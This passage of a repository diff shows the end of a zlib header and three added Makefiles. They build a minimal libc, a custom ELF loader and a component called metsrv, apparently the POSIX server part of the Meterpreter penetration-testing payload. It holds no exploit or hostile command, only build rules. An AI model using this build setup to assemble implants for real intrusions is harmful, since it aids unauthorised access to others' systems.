return the updated checksum. If buf is NULL, this function returns
|
||||||
|
the required initial value for the checksum.
|
||||||
|
An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
|
||||||
|
much faster. Usage example:
|
||||||
|
|
||||||
|
uLong adler = adler32(0L, Z_NULL, 0);
|
||||||
|
|
||||||
|
while (read_buffer(buffer, length) != EOF) {
|
||||||
|
adler = adler32(adler, buffer, length);
|
||||||
|
}
|
||||||
|
if (adler != original_adler) error();
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* various hacks, don't look :) */
|
||||||
|
|
||||||
|
/* deflateInit and inflateInit are macros to allow checking the zlib version
|
||||||
|
* and the compiler's view of z_stream:
|
||||||
|
*/
|
||||||
|
extern int EXPORT deflateInit_ OF((z_streamp strm, int level,
|
||||||
|
const char *version, int stream_size));
|
||||||
|
extern int EXPORT inflateInit_ OF((z_streamp strm,
|
||||||
|
const char *version, int stream_size));
|
||||||
|
extern int EXPORT deflateInit2_ OF((z_streamp strm, int level, int method,
|
||||||
|
int windowBits, int memLevel, int strategy,
|
||||||
|
const char *version, int stream_size));
|
||||||
|
extern int EXPORT inflateInit2_ OF((z_streamp strm, int windowBits,
|
||||||
|
const char *version, int stream_size));
|
||||||
|
#define deflateInit(strm, level) \
|
||||||
|
deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream))
|
||||||
|
#define inflateInit(strm) \
|
||||||
|
inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream))
|
||||||
|
#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
|
||||||
|
deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
|
||||||
|
(strategy), ZLIB_VERSION, sizeof(z_stream))
|
||||||
|
#define inflateInit2(strm, windowBits) \
|
||||||
|
inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
|
||||||
|
|
||||||
|
#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
|
||||||
|
struct internal_state {int dummy;}; /* hack for buggy compilers */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uLongf *get_crc_table OF((void)); /* can be used by asm versions of crc32() */
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* _ZLIB_H */
|
||||||
|
/* --- zlib.h */
|
|
@ -0,0 +1,14 @@
|
||||||
|
SUBDIRS = common metsrv ext_posix_sample
|
||||||
|
|
||||||
|
subdirs:
|
||||||
|
for dir in $(SUBDIRS); do \
|
||||||
|
$(MAKE) -C $$dir; \
|
||||||
|
done
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
.PHONY:
|
||||||
|
clean:
|
||||||
|
for dir in $(SUBDIRS); do \
|
||||||
|
$(MAKE) -C $$dir clean; \
|
||||||
|
done
|
|
@ -0,0 +1,70 @@
|
||||||
|
.SUFFIXES: .S .c
|
||||||
|
|
||||||
|
SOURCEPATH=../../source/common
|
||||||
|
SSLPATH=../../source/openssl/include
|
||||||
|
MALLOC_PATH=../../source/common/malloc
|
||||||
|
XOR_PATH=../../source/common/crypto
|
||||||
|
STDLIBPATH=../../source/common/stdlib
|
||||||
|
|
||||||
|
CFLAGS= -D_UNIX -I$(SOURCEPATH) -I$(MALLOC_PATH) -I$(XOR_PATH) -DMALLOC_PRODUCTION -DNO_TLS -DPIC -I$(SSLPATH) -I$(STDLIBPATH)
|
||||||
|
CFLAGS+= -g -fPIC -Os -D_POSIX_C_SOURCE=200809 -D__BSD_VISIBLE=1 -D__XSI_VISIBLE=1
|
||||||
|
|
||||||
|
CPPFLAGS= -I$(SOURCEPATH) -DPIC
|
||||||
|
|
||||||
|
CC=gcc
|
||||||
|
AR=ar
|
||||||
|
RM=rm
|
||||||
|
|
||||||
|
libc_objects = table.o none.o localeconv.o lmonetary.o lnumeric.o wcrtomb.o wcsrtombs.o \
|
||||||
|
findfp.o stdio.o fflush.o printf.o vfprintf.o atexit.o getenv.o strtol.o reallocf.o __error.o \
|
||||||
|
wsetup.o makebuf.o fwalk.o _flock_stub.o fvwrite.o qsort.o \
|
||||||
|
exit.o bcopy.o memmove.o stpcpy.o memchr.o strchr.o \
|
||||||
|
strerror.o strlcpy.o strncpy.o strlcat.o strncat.o \
|
||||||
|
inet_addr.o \
|
||||||
|
_thread_init.o time.o isatty.o termios.o errlst.o sigsetops.o \
|
||||||
|
malloc.o syscalls.o ulibc.o
|
||||||
|
# ulibc.o belongs above
|
||||||
|
objects = args.o base.o base_dispatch.o base_dispatch_common.o buffer.o \
|
||||||
|
channel.o common.o core.o remote.o scheduler.o xor.o
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
####### check platform
|
||||||
|
OSNAME= $(shell uname -s)
|
||||||
|
ARCH= $(shell uname -m)
|
||||||
|
|
||||||
|
ifeq ($(OSNAME), FreeBSD)
|
||||||
|
OS= bsd
|
||||||
|
libc_objects+= cerror.o
|
||||||
|
else
|
||||||
|
CFLAGS+= -fno-stack-protector -D__linux__
|
||||||
|
CFLAGS+= -D_POSIX_C_SOURCE=200809 -D__BSD_VISIBLE=1 -D__XSI_VISIBLE=1
|
||||||
|
OS=$(OSNAME)
|
||||||
|
# requires tls - which we don't have
|
||||||
|
# libc_objects+= errno.o
|
||||||
|
endif
|
||||||
|
|
||||||
|
BASEVPATH=../../source/common:../../source/common/crypto:../../source/common/arch/posix:../../source/common/locale:../../source/common/stdio:../../source/common/stdlib:../../source/common/gen:../../source/common/inet:../../source/common/string:
|
||||||
|
OSVPATH= ../../source/common/arch/$(OS)
|
||||||
|
ARCHVPATH= $(OSVPATH)/$(ARCH)
|
||||||
|
VPATH=$(BASEVPATH):$(OSVPATH):$(ARCHVPATH)
|
||||||
|
|
||||||
|
CFLAGS+= -I$(ARCHVPATH)
|
||||||
|
CPPFLAGS+= -I$(ARCHVPATH)
|
||||||
|
|
||||||
|
all: libcommon.so libsupport.a libcommon.a
|
||||||
|
|
||||||
|
libcommon.so: $(library_headers) $(libc_objects)
|
||||||
|
$(LD) -Bshareable -o $@ $(libc_objects)
|
||||||
|
|
||||||
|
libsupport.a: $(objects)
|
||||||
|
$(AR) rc $@ $(objects)
|
||||||
|
|
||||||
|
libcommon.a: $(libc_objects)
|
||||||
|
$(AR) rc $@ $(libc_objects)
|
||||||
|
|
||||||
|
clean:
|
||||||
|
$(RM) -f *.o *.a *.so
|
||||||
|
|
||||||
|
.PHONY: clean
|
||||||
|
|
|
@ -0,0 +1,100 @@
|
||||||
|
BASEVPATH=../../source/server:../../source/common/crypto:../../source/common/arch/posix:../../source/server/zlib:../../source/server/posix:../../source/server/elf
|
||||||
|
SRCPATH=../../source/server
|
||||||
|
COMMONPATH=../../source/common
|
||||||
|
ELFPATH=../../source/server/elf
|
||||||
|
SSLPATH=../../source/openssl/include
|
||||||
|
MALLOC_PATH=../../source/common/malloc
|
||||||
|
XOR_PATH=../../source/common/crypto
|
||||||
|
CFLAGS= -D_UNIX -I$(SRCPATH) -DPIC -I$(SSLPATH) -I$(COMMONPATH) -I$(ELFPATH) -I.
|
||||||
|
CFLAGS+= -fPIC -g -nostdinc
|
||||||
|
#CFLAGS+= -Os
|
||||||
|
CPPFLAGS= -I$(COMMONPATH) -DPIC
|
||||||
|
LDFLAGS= -fPIC -Bshareable
|
||||||
|
|
||||||
|
CC=gcc
|
||||||
|
AR=ar
|
||||||
|
AS=as -c
|
||||||
|
LD=ld
|
||||||
|
RM=rm
|
||||||
|
|
||||||
|
|
||||||
|
####### check platform
|
||||||
|
OSNAME= $(shell uname -s)
|
||||||
|
ARCH= $(shell uname -m)
|
||||||
|
RARCH=$(ARCH)
|
||||||
|
|
||||||
|
ifeq ($(ARCH), i686)
|
||||||
|
CFLAGS+= -D__i386__
|
||||||
|
RARCH=i386
|
||||||
|
endif
|
||||||
|
|
||||||
|
|
||||||
|
ifeq ($(OSNAME), FreeBSD)
|
||||||
|
OS= bsd
|
||||||
|
# FreeBSD doesn't compile its C runtime glue PIC
|
||||||
|
# need to compile it ourselves
|
||||||
|
CRT1= crt1.o crti.o
|
||||||
|
else
|
||||||
|
OS=$(OSNAME)
|
||||||
|
START=late_start.o
|
||||||
|
CFLAGS+= -fno-stack-protector -D__linux__
|
||||||
|
DL= -ldl
|
||||||
|
endif
|
||||||
|
|
||||||
|
ELFARCHPATH=$(ELFPATH)/$(RARCH)
|
||||||
|
CFLAGS+= -I$(ELFARCHPATH) -DIN_RTLD
|
||||||
|
|
||||||
|
OSVPATH= ../../source/common/arch/$(OS)
|
||||||
|
ARCHVPATH= $(OSVPATH)/$(RARCH):$(ELFARCHPATH)
|
||||||
|
VPATH=$(BASEVPATH):$(OSVPATH):$(ARCHVPATH)
|
||||||
|
|
||||||
|
objects = metsrv.o libloader.o zlib.o rtld_late.o rtld_malloc.o rtld_lock.o \
|
||||||
|
map_object.o xmalloc.o reloc.o rtld_start.o $(START)
|
||||||
|
server_objects = server_setup.o remote_dispatch_common.o remote_dispatch.o \
|
||||||
|
metsrv_main.o metsrv_standalone.o
|
||||||
|
other_objects = metsrv_test.o $(CRT1) crtn.o
|
||||||
|
library_headers = metsrv_main.h libcrypto_so.h libssl_so.h libcommon_so.h
|
||||||
|
|
||||||
|
all: metsrv.a metsrv.so metsrv_test metsrv_main
|
||||||
|
# metsrv_standalone
|
||||||
|
|
||||||
|
libserver.a: $(server_objects)
|
||||||
|
$(AR) rc $@ $(server_objects)
|
||||||
|
|
||||||
|
metsrv_main.h: metsrv_main
|
||||||
|
../../tools/so2h.pl metsrv_main metsrv_main
|
||||||
|
|
||||||
|
libcrypto_so.h: ../../source/openssl/lib/$(OS)/$(RARCH)/libcrypto.so.gz
|
||||||
|
../../tools/so2h.pl ../../source/openssl/lib/$(OS)/$(RARCH)/libcrypto.so.gz libcrypto_so
|
||||||
|
|
||||||
|
libssl_so.h: ../../source/openssl/lib/$(OS)/$(RARCH)/libssl.so.gz
|
||||||
|
../../tools/so2h.pl ../../source/openssl/lib/$(OS)/$(RARCH)/libssl.so.gz libssl_so
|
||||||
|
libcommon_so.h: ../common/libcommon.so
|
||||||
|
../../tools/so2h.pl ../common/libcommon.so libcommon_so
|
||||||
|
|
||||||
|
metsrv.a: $(library_headers) $(server_objects)
|
||||||
|
$(AR) rc $@ $(server_objects)
|
||||||
|
|
||||||
|
metsrv.so: $(library_headers) $(objects)
|
||||||
|
$(LD) -Bshareable -o $@ $(objects)
|
||||||
|
|
||||||
|
ifeq ($(OSNAME), FreeBSD)
|
||||||
|
metsrv_main: metsrv.o libserver.a ../common/libsupport.a $(CRT1) crtn.o
|
||||||
|
$(LD) -pie --unresolved-symbols=ignore-all -o $@ $(CRT1) crtbegin.o \
|
||||||
|
libserver.a ../common/libsupport.a \
|
||||||
|
crtend.o crtn.o -nostdlib --allow-shlib-undefined -L. \
|
||||||
|
-lcrypto -lssl -L../common -lcommon
|
||||||
|
else
|
||||||
|
metsrv_main: metsrv.o libserver.a ../common/libsupport.a
|
||||||
|
$(CC) -pie -o $@ libserver.a ../common/libsupport.a -lcrypto -lssl
|
||||||
|
endif
|
||||||
|
|
||||||
|
|
||||||
|
metsrv_test: metsrv_test.o $(library_headers)
|
||||||
|
$(CC) metsrv_test.o metsrv.a $(DL) -o $@
|
||||||
|
|
||||||
|
clean:
|
||||||
|
@echo "ARCHVPATH= " $(ARCHVPATH) " VPATH= " $(VPATH)
|
||||||
|
$(RM) -f *.o *.h *.so *.gz *~ *.a metsrv_test metsrv_main \
|
||||||
|
metsrv_main_standalone
|
||||||
|
.PHONY: clean
|
Loading…
Reference in New Issue